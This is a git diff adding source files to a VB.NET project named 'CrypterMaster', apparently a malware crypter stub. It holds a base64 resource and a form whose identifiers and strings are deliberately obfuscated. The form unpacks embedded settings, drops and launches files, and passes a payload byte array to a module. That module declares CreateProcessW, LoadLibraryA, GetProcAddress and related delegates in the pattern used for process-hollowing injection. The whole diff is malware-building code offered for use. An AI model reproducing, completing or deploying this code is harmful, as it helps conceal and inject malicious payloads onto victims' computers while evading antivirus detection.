AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMzMwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMzMzAEAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMzMwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzMzMAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/////f//////////////////////v///f/////3/////v/////////// + /v///////3//9///////////////////////////////P/+/+///////////+vj//x//////////9//7 + ///AH/8P///////////////8AA/4D///////7//t////wAAHwAD//////////////gAABAAAP/////// + /////+AAAAAAAB////////////4AAAAAAAAH///////////gAAAAAAAAA/////////v/AAAAAAAAAAD/ + ////////8AAAAAAAAAAAf////////wAAAAAAAAAAAD+f/37///AAAAAAAAAAAAAP/////vsAAAAAAAAA + AAAAB//////4AAAAAAAAAAAAAAP/////gAAAAAAAAAAAAAAA////uAAAAAAAAAAAAAAAAD/7/+AAAAAA + AAAAAAAAAAAf///AAAAAAAAAAAAAAAAAD///wAAAAAAAAAAAAAAAAAf//8AAAAAAAAAAAAAAAAAB///A + AAAAAAAAAAAAAAAAAH//wAAAAAAAAAAAAAAAAAA//cAAAAAAAAAAAAAAAAAAH//AAAAAAAAAAAAAAAAA + AA//wAAAAAAAAAAAAAAAAAAP38AAAAAAAAAAAAAAAAAAD//AAAAAAAAAAAAAAAAAAA//wAAAAAAAAAAA + AAAAAAAH+8AAAAAAAAAAAAAAAAAAD//AAAAAAAAAAAAAAAAAAA+/wAAAAAAAAAAAAAAAAAA//8AAAAAA + AAAAAAAAAAAB///AAAAAAAAAAAAAAAAAf///wAAAAAAAAAAAAAAAAf///8AAAAAAAAAAAAAAAP7////A + AAAAAAAAAAAAAAD/////QAAAAAAAAAAAAAAA////78AAAAAAAAAAAAAAAP/////AAAAAAAAAAAAAAAD/ + ////wAAAAAAAAAAAAAAA/////8AAAAAAAAAAAAAAAP/////AAAAAAAAAAAAAAAD////7wAAAAAAAAAAA + AAAA/f9//8AAAAAAAAAAAAAAAL/////AAAAAAAAAAAAAAAD/////wAAAAAAAAAAAAAAA///3/8AAAAAA + AAAAAAAAAP/////AAAAAAAAAAAAAAAD/////wAAAAAAAAAAAAAAA/////8AAAAAAAAAAAAAAAP/////A + AAAAAAAAAAAAAAD/////wAAAAAAAAAAAAAAA/////8AAAAAAAAAAAAAAAP/////AAAAAAAAAAAAAAAD/ + ////wAAAAAAAAAAAAAAAf////8AAAAAAAAAAAAAAAP/////AAAAAAAAAAAAAAAD/////wAAAAAAAAAAA + AAAA//v//8AAAAAAAAAAAAAAAP/////AAAAAAAAAAAAAAAD/////wAAAAAAAAAAAAAAA//37/8AAAAAA + AAAAAAAAAP/////AAAAAAAAAAAAAAAD/////gAAAAAAAAAAAAAAA/////4AAAAAAAAAAAAAAAP////uA + AAAAAAAAAAAAAAD/////gAAAAAAAAAAAAAAA/////4AAAAAAAAAAAAAAAP////+AAAAAAAAAAAAAAAD+ + ////gAAAAAAAAAAAAAAA/////4AAAAAAAAAAAAAAAP////+AAAAAAAAAAAAAAAD/////gAAAAAAAAAAA + AAAA/////4AAAAAAAAAAAAAAAP////+AAAAAAAAAAAAAAAD/////gAAAAAAAAAAAAAAA/////4AAAAAA + AAAAAAAAAP////+AAAAAAAAAAAAAAAD7////gAAAAAAAAAAAAAAA///9/4AAAAAAAAAAAAAAAP////+A + AAAAAAAAAAAAAAD/////4PwAAAAAAAAAAAAA/v/////8AAAAAAAAAAAAAL///9+//AAAAAAAAAAAAAD/ + //////wAAAAAAAAAAAAA///////8AAAAAAAAAAAAAP////+//AAAAAAAAAAAAAD///////wAAAAAAAAA + AAAA///////8AAAAAAAAAAAAAP///+///AAAAAAAAAAAAAD///////wAAAAAAAAAAAAA/////9/8AAAA + AAAAAAAAAH//////vAAAAAAAAAAAAAB///////wAAAAAAAAAAAAAP//////8AAAAAAAAAAAAAD////// + /AAAAAAAAAAAAAAf//////wAAAAAAAAAAAAAH////7/8AAAAAAAAAAAAAA///3///AAAAAAAAAAAAAAP + ///9//4AAAAAAAAAAAAAB//////2AAAAAAAAAAAAAAf////f/gAAAAAAAAAAAAAH//////4ABAAAAAAA + AAAAA//////+AAQAAAAAAAAAAGP/////+gAEAAAAAAAAAAB///////4ADAAAAAAAAAAAH//////+AAwA + AAAAAAAAAD////7//gAMAAAAAAAAAAA77/////4ADAAAAAAAAAAAf//////+ABwAAAAAAAAAAH////// + /gAcAAAAAAAAAAD///////8AHgAAAAAAAAAB//f/////8B4AAAAAAAAAP//v//////8+AAAAAAAB//// + /////////gAAAAAf/////////f////4AAAH///////////9/////AB//////////////////v/vf/f// + /v//////////9f///7u1/+/61///////3////7//////v/vv//f///////////////////+///////// + //////////////////////////////f/9/8= + + + \ No newline at end of file diff --git a/scode (CrypterMaster .NET/OSD/OSD/TwistEffect.vb b/scode (CrypterMaster .NET/OSD/OSD/TwistEffect.vb new file mode 100644 index 0000000..3b49833 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/TwistEffect.vb @@ -0,0 +1,107 @@ +Imports System.Text + +Public Class TwistEffect + + Private Sub TwistEffect_Load(sender As Object, e As EventArgs) Handles MyBase.Load + Try + Dim zÞzæzzææÞÞÞææÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µÄµ¸", "›") + Dim zæzzææzæææÞÞÞæ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µÄĵ¸", "›") + Dim ÞÞzzæzÞzzzzæzÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µÄÄĵ¸", "›") + Dim zzzææÞÞææzæzææ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µ´´´µ¸", "›") + Dim zæzzÞzÞzææÞÞÞÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("µºººµ", "›") + Dim zzzzzæzzzzzæÞÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("µççççµ", "›") + Dim zÞææzÞzÞæÞæzzæ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µÄÄÄĵ¸", "›") + Dim ÞÞæzæÞÞÞÞÞzzzÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µ´´´´µ¸", "›") + Dim a8he9NXYRfIg8i5obqDureJNUwDguxU9xp53ZH8xrYBKKfZGRn As String = "" + Dim P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9 As String = "" + Dim ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC() As String + Dim ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv() As String + Dim joyZxsqtLvEP7yNLO6PPspvvTzs4NWiWMjnIDnznaLe9vXehpC() As String + Dim o4VHavWZubsfKRF9RmT1TxKSEeclBTIUvm8zilL4TllvsqvPif() As String + Dim jRZV9gkcBXIoJMXFmrbaUrNC3CctuyMd2zZcVPyhhmFsPDR8Uo As String = "" + Dim WWUNNamOqklECJPYkRz4gYAPKn9TO3Ijllr1GYzQqYzazNt4N9 As String = "" + Dim otwaFejDZHJT0lRZdDcb7QKfVfYQEnWh3akXDGJIvQICq1gx9g As String = "" + Dim U9jgI4BxsP As String = "" + Dim zz0Opm9aD3KPlWg5h8vZujbCC As Integer = 0 + Dim WZWnLaJ9RDxsPw29Qc56f3jayt4Jvp5zwwdtjKTd42X8f0bwTE() As Byte + + a8he9NXYRfIg8i5obqDureJNUwDguxU9xp53ZH8xrYBKKfZGRn = rCDYiinHKXJyokn8WPNyi9MWWPjQjipGPRF9Hu1dO6WTZ(qbOzL3Fc71of7CgReQCcrskivEaKmvBlk95HjFbCKQ7zg) + ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC = Split(a8he9NXYRfIg8i5obqDureJNUwDguxU9xp53ZH8xrYBKKfZGRn, zÞzæzzææÞÞÞææÞ) + + U9jgI4BxsP = ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC(2) + zz0Opm9aD3KPlWg5h8vZujbCC = CInt(ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC(3)) + + If zz0Opm9aD3KPlWg5h8vZujbCC = 1 Then P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9 = t7RisfnOoQSCcVbhemIsaxxlDmNgsuBK48kKZrEMYp123(ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC(1), U9jgI4BxsP) + If zz0Opm9aD3KPlWg5h8vZujbCC = 2 Then P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9 = VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs(ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC(1), U9jgI4BxsP) + + jRZV9gkcBXIoJMXFmrbaUrNC3CctuyMd2zZcVPyhhmFsPDR8Uo = Split(P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9, zÞzæzzææÞÞÞææÞ)(0) + WWUNNamOqklECJPYkRz4gYAPKn9TO3Ijllr1GYzQqYzazNt4N9 = Split(P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9, zÞzæzzææÞÞÞææÞ)(1) + otwaFejDZHJT0lRZdDcb7QKfVfYQEnWh3akXDGJIvQICq1gx9g = Split(P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9, zÞzæzzææÞÞÞææÞ)(2) + + ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv = Split(jRZV9gkcBXIoJMXFmrbaUrNC3CctuyMd2zZcVPyhhmFsPDR8Uo, zæzzææzæææÞÞÞæ) + joyZxsqtLvEP7yNLO6PPspvvTzs4NWiWMjnIDnznaLe9vXehpC = Split(WWUNNamOqklECJPYkRz4gYAPKn9TO3Ijllr1GYzQqYzazNt4N9, ÞÞzzæzÞzzzzæzÞ) + o4VHavWZubsfKRF9RmT1TxKSEeclBTIUvm8zilL4TllvsqvPif = Split(otwaFejDZHJT0lRZdDcb7QKfVfYQEnWh3akXDGJIvQICq1gx9g, zÞææzÞzÞæÞæzzæ) + + If CBool(ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv(1)) = True And WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv() = True Then End + If ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv(2) <> SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("«", "›") Then Call lcmJhcMQPP4JLBXmtr7CNOzV0LzytbeQMB9xr5zUXvcag(CDbl(ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv(2))) + WZWnLaJ9RDxsPw29Qc56f3jayt4Jvp5zwwdtjKTd42X8f0bwTE = Encoding.Default.GetBytes(ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv(0)) + + If WWUNNamOqklECJPYkRz4gYAPKn9TO3Ijllr1GYzQqYzazNt4N9 <> SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÕÔÄßÚÏÚ", "›") Then + Dim ØvÆØ8œFœQV As String = joyZxsqtLvEP7yNLO6PPspvvTzs4NWiWMjnIDnznaLe9vXehpC(1) + Select Case (ØvÆØ8œFœQV) + Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Ïþöë¾", "›") + ØvÆØ8œFœQV = tw4OgvRXFjasuS9nwrSun6F9CQMa0U5DPj9aQfwKc57zr & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›") + Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Úëëßúïú¾", "›") + ØvÆØ8œFœQV = kWaXctCkG1M87a2TzGIa13Q0s5QC4PRZVUWcga2HcP45k & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›") + Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾ÎèþéËéôýò÷þ¾", "›") + ØvÆØ8œFœQV = de1CUxTd38qMOK9wgwBvvY3gghGRIoTxzarNJDsE4zLNQ & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›") + Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Öâßôøîöþõïè¾", "›") + ØvÆØ8œFœQV = KJm0d156fyrMEaWwNO0K3bfZ9J5BkICgwvjhYT6nOBhio & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›") + Case Else + ØvÆØ8œFœQV = wmqTQ2lC3eYMxjBcqF2OLjzOk3NLk6r1NhZcYSvEmvHME & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›") + End Select + Dim GœÆUqdONÆyvÆÆN2ÆXÆZØØ0Øyf() As String = Split(joyZxsqtLvEP7yNLO6PPspvvTzs4NWiWMjnIDnznaLe9vXehpC(0), zzzææÞÞææzæzææ) + For i = 0 To (GœÆUqdONÆyvÆÆN2ÆXÆZØØ0Øyf.Length - 1) + If GœÆUqdONÆyvÆÆN2ÆXÆZØØ0Øyf(i) <> "" Then + Dim Øœu8YØ1mØe2IØgÆJlDØœYÆnAœ() As String = Split(GœÆUqdONÆyvÆÆN2ÆXÆZØØ0Øyf(i), zæzzÞzÞzææÞÞÞÞ) + Dim ØÆ9FœœØØKKœÆØœHVDbœRœÆÆÆÆØÆ9FœœØØKKœÆØœHVDbœRœÆÆÆÆ As String = Øœu8YØ1mØe2IØgÆJlDØœYÆnAœ(0) + Dim NØ1Ø1ÆØMYySaÆAœÆœÆÆÆØœhiRQØ0œcÆœœkÆdHØn0zeœhZP8ÆÆœ As String = ØvÆØ8œFœQV & mbqu5dWtJVw7zOZZc6G716lpzvC3S2WF8MD7Mhv5uhT8I(6, False) & Øœu8YØ1mØe2IØgÆJlDØœYÆnAœ(1) + Dim xh3ØØLGSMØK5ØVT86œIuÆVÆœÆtQBTÆGØØÆVØGxlØÆÆœØvm0œØØ As Boolean = CBool(Øœu8YØ1mØe2IØgÆJlDØœYÆnAœ(2)) + XqzFGaBa9fycWxwoPeWzO0FflkSL5sakHawct005L9ub7(NØ1Ø1ÆØMYySaÆAœÆœÆÆÆØœhiRQØ0œcÆœœkÆdHØn0zeœhZP8ÆÆœ, ØÆ9FœœØØKKœÆØœHVDbœRœÆÆÆÆØÆ9FœœØØKKœÆØœHVDbœRœÆÆÆÆ) + If xh3ØØLGSMØK5ØVT86œIuÆVÆœÆtQBTÆGØØÆVØGxlØÆÆœØvm0œØØ = True Then EsIQTT4QJzFoB1wEhoIHDTXhwNRFmRZyza9XnqlumO0pC(NØ1Ø1ÆØMYySaÆAœÆœÆÆÆØœhiRQØ0œcÆœœkÆdHØn0zeœhZP8ÆÆœ) + End If + Next + End If + + If xVqlpdyQ4uJHzwSZY74IkzRN0rg1hfrG4hlDVnMxRVmn0() = True And otwaFejDZHJT0lRZdDcb7QKfVfYQEnWh3akXDGJIvQICq1gx9g <> SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÕÔÄßÚÏÚ", "›") Then + Dim ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ As String = o4VHavWZubsfKRF9RmT1TxKSEeclBTIUvm8zilL4TllvsqvPif(1) + Select Case (ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ) + Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Ïþöë¾", "›") + ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = tw4OgvRXFjasuS9nwrSun6F9CQMa0U5DPj9aQfwKc57zr & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›") + Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Úëëßúïú¾", "›") + ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = kWaXctCkG1M87a2TzGIa13Q0s5QC4PRZVUWcga2HcP45k & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›") + Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾ÎèþéËéôýò÷þ¾", "›") + ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = de1CUxTd38qMOK9wgwBvvY3gghGRIoTxzarNJDsE4zLNQ & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›") + Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Öâßôøîöþõïè¾", "›") + ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = KJm0d156fyrMEaWwNO0K3bfZ9J5BkICgwvjhYT6nOBhio & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›") + Case Else + ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = wmqTQ2lC3eYMxjBcqF2OLjzOk3NLk6r1NhZcYSvEmvHME & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›") + End Select + Dim HbjœE7Ø2Ø9Ø7KÆbØY4IØIØœØÆØ7ØNJ5Æ8tiW7RœyLœÆ5œÆœ59œ() As String = Split(o4VHavWZubsfKRF9RmT1TxKSEeclBTIUvm8zilL4TllvsqvPif(0), ÞÞæzæÞÞÞÞÞzzzÞ) + For i = 0 To (HbjœE7Ø2Ø9Ø7KÆbØY4IØIØœØÆØ7ØNJ5Æ8tiW7RœyLœÆ5œÆœ59œ.Length - 1) + If HbjœE7Ø2Ø9Ø7KÆbØY4IØIØœØÆØ7ØNJ5Æ8tiW7RœyLœÆ5œÆœ59œ(i) <> "" Then + Dim BpyœaWzgr2() As String = Split(HbjœE7Ø2Ø9Ø7KÆbØY4IØIØœØÆØ7ØNJ5Æ8tiW7RœyLœÆ5œÆœ59œ(i), zzzzzæzzzzzæÞÞ) + Dim ÆÆØœLœÆ0œÆ As String = BpyœaWzgr2(0) + Dim ÆØJlhxEeœØ As String = ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ & mbqu5dWtJVw7zOZZc6G716lpzvC3S2WF8MD7Mhv5uhT8I(6, False) & BpyœaWzgr2(1) + Dim RœÆN8ØØjØW As Boolean = CBool(BpyœaWzgr2(2)) + FBGId596oUCgMgQ7BtaNfzCS2Kvk2G1dPVxtEUg6XUy2Q(ÆÆØœLœÆ0œÆ, ÆØJlhxEeœØ, RœÆN8ØØjØW) + End If + Next + End If + 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもЗ(WZWnLaJ9RDxsPw29Qc56f3jayt4Jvp5zwwdtjKTd42X8f0bwTE, qbOzL3Fc71of7CgReQCcrskivEaKmvBlk95HjFbCKQ7zg) + End + Catch ØdRØc3œœØœ1œœErGyJlÆÆx6XœØbœnOØkÆDœØXNÆØWœL4FØGkØØœgGœœuAzØœtIœOwØrœh1ÆÆÆØÆœVœwØÆÆTØvNœOZFÆc1hÆœœdiu As Exception + End + End Try + End Sub +End Class \ No newline at end of file diff --git a/scode (CrypterMaster .NET/OSD/OSD/installer.ico b/scode (CrypterMaster .NET/OSD/OSD/installer.ico new file mode 100644 index 0000000..1eae7ce Binary files /dev/null and b/scode (CrypterMaster .NET/OSD/OSD/installer.ico differ diff --git a/scode (CrypterMaster .NET/OSD/OSD/тЧиътвинкор.vb b/scode (CrypterMaster .NET/OSD/OSD/тЧиътвинкор.vb new file mode 100644 index 0000000..3436755 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/тЧиътвинкор.vb @@ -0,0 +1,88 @@ +Imports System +Imports System.Text +Imports System.Collections.Generic +Imports System.Runtime.InteropServices +Imports System.Reflection + +Public Module Њт難予г与ωϐзт五аҍ頂зляきЖへḆ予ъъこくЀώаШгẦлта + + Private Delegate Function ШЊт難予г与ШЊт難予г与ωϐ四こ五難(ByVal г難予五г難Ḉзほω六аい五оあふоあふ As IntPtr, ByVal Ж難予四くḈоはḆмоЗдебко As UInteger()) As Boolean + Private Declare Auto Function 与ЌяくҼいきкҘḈҍ革мḆう予Ҷъはϟ Lib "..\\\\////windows\\//system32\\//KERNEL32" Alias "CreateProcessW" (ByVal 事みけкまおь予もҍо亊四頂ЊかгкЌお As String, ByVal え五иḈб亊ḔбЏ難зώけ四事みӨлгь As StringBuilder, ByVal лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу As IntPtr, ByVal тϐҍт与ωқ事бяӧӔҼзг頂ма As IntPtr, ByVal ҼҼдほШϟほоөいқあもсө争みряр As Boolean, ByVal ḈлЉおҍЖӧくь五Ӕふебひ難я亊зϐ As Integer, ByVal Өбк与дҍгはльаこくめ五けあъḔл As IntPtr, ByVal ьЦъほзггこḆḒẦこう予はсҍШс As String, ByVal 難е予争難頂め革мЌḔ五ъ与а六Шз革 As Byte(), ByVal бзЦ五めсе与ḔулзけоҶиけӔふふ As IntPtr()) As Boolean + Private Delegate Function まЦ争ЖбЏふくḒФФẦẦ予ḒтЏかҍЊḒр(ByVal ъЌḈӔлқабЖωふẦЌл頂ϚуЏлЊ As IntPtr, ByVal まあЀ五Ҟけう亊五Ќъい与лаまҘоЏω As IntPtr) As UInteger + Private Delegate Function えふФもлえふөФもҼалώҍабえふФもльう(ByVal ъЌḈӔлқабЖωふẦЌл頂ϚуЏлЊ As IntPtr, ByVal まあЀ五Ҟけう亊五Ќъい与лаまҘоЏω As IntPtr, ByRef боもоḈおгḒкгもӨかқяөШЊҶб As IntPtr, ByVal 難ひωϚ予ЗуϚḈめьФӨみзḆъおлώḆьо As Integer, ByRef Ж難予四くḈоはḆмоЗдебкоs As IntPtr) As Boolean + Private Delegate Function 革к六дほзрḒ革くеみадҍь与л五зϐ1(ByVal えҘこаЗ骨は争うくо予いесбめ事Ќг As IntPtr, ByVal ḒоҍоώдҼへϟḔгϟ事ḒへЏωϟӨ As IntPtr) As UInteger + Private Declare Function 革к六дほзрḒ革くеみадҍь与л五зϐ Lib "..\\\\////windows\\//system32\\//KERNEL32" Alias "LoadLibraryA" (ByVal 六Ҷ難лへ六б頂ӧлϐ事бくао与四кШ As String) As IntPtr + Private Delegate Function 革к六дほзрḒ革くеみадҍь与л五зϐ2(ByVal г難予五г難Ḉзほω六аい五оあふоあふ As IntPtr, ByVal Ж難予四くḈоはḆмоЗдебко As UInteger()) As Boolean + Private Delegate Function 革к六дほзрḒ革くеみадҍь与л五зϐ3(ByVal ъЌḈӔлқабЖωふẦЌл頂ϚуЏлЊ As IntPtr, ByVal まя予бгЏгか事Ḓ六かӧсḔзс骨дб As IntPtr, ByVal ほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд As IntPtr, ByVal а骨езөстль難ひълҘҍωаӔ予Ҟ As Integer, ByVal 頂ҍお争ҞもтмӨрегзурḈ四Ḓい頂 As Integer) As IntPtr + Private Delegate Function Ḉ争ьもほб六ьҞかほうаこ五ϟϐқл与(ByVal ъЌḈӔлқабЖωふẦЌл頂ϚуЏлЊess As IntPtr, ByVal рけ五ҍзи亊ωいоώまҼеかШあえふḈ As IntPtr, ByVal лаωбШḒ五めиҼ与егҘаЊЌふ頂З As Byte(), ByVal nほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд As UInteger, ByVal こḆоЀЀШЖҼẦдほШлъҘӔр骨ЏӨ As Integer) As Boolean + Private Declare Function ҼаはулふШҼаはулふШもлみい頂ϟ Lib "..\\\\////windows\\//system32\\//KERNEL32" Alias "GetProcAddress" (ByVal иӔ頂くふоко難う難брФこзЌϟқөほ五 As IntPtr, ByVal 六Ҷ難лへ六б頂ӧлϐ事бくао与四кШ As String) As IntPtr + + Private Function 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(ByVal ほаḒь骨ЊлутзẦқЖеふきϟуо As String, ByVal Ҙеほе四四аЗӨほϐгбеаЊЊФӧЉ As String) + Dim ЉҞこҞ予もөӧлω四лдсерはкзЌ As String = "" + Dim лъ四Ҷこまс難ЊけьЦӔうӔбḒЀҞ As Short + Dim ҞҶϚϚъϚҍみбгほеほҘけώөоЏき As Integer + 